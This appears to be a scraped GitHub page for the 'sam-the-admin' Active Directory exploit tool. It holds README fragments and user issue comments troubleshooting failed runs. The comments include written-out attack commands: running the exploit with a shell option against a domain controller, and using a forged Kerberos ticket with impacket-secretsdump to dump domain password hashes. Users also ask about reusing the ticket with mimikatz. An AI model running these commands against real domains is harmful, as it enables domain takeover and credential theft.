safebuffer / sam-the-admin Goto Github PK

Target: single 2016 domaincontroller
Domain: demo.loc

Debug:

If the DC in German language, change line 307 in helper.py to:

Hi WazeHell, great job.
Can it be also done on windows server 2003 domain?
I only got error

Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[-] WARNING: Target host is not a DC
[*] Selected Target server2003.domainname.local
list index out of range
root@vs27:~/sam-the-admin-main#

┌──(kali㉿kali)-[~/Desktop/secretsdump2024]
└─$ python3 sam_the_admin.py "benthanhgp.com/BADPC1001$:Password1" -dc-ip 192.168.1.7 -shell
Traceback (most recent call last):
File "/home/kali/Desktop/secretsdump2024/sam_the_admin.py", line 22, in
from utils.helper import *
ModuleNotFoundError: No module named 'utils.helper'

i use impacket==0.10.0

1. when i get this message, what can i do with this ccache file ? can i transfer this ccache file to another system and use with mimikatz?
   [] Impersonating test.misah
   [] Requesting S4U2self
   [*] Saving ticket in test.misah.ccache

2. when i get this message from exploit
   [] You can deploy a shell when you want using the following command:
   [$] KRB5CCNAME='test.misah.ccache' /usr/bin/impacket-secretsdump -target-ip 192.168.10.11 -dc-ip 192.168.10.11 -k -no-pass @'labdc01.lab.local'
   and run this command, i get error
   2.1. first error [-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
   [] Cleaning up...

2.2. after i add -just-dc-user, i have another error
[] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[] Using the DRSUAPI method to get NTDS.DIT secrets
[-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)
[] Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter
[] Cleaning up...

2.3. after i add -use-vss i still get new error
[-] SMB SessionError: STATUS_MORE_PROCESSING_REQUIRED({Still Busy} The specified I/O request packet (IRP) cannot be disposed of because the I/O operation is not complete.)

HOWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW TO FIX
help me please, thank you!

It looks like it succeeded. What's the reason?

The asciinema has been archived and is thus viewable anymore :(

Not that it's an issue per se, but you know, for completeness' sake ;)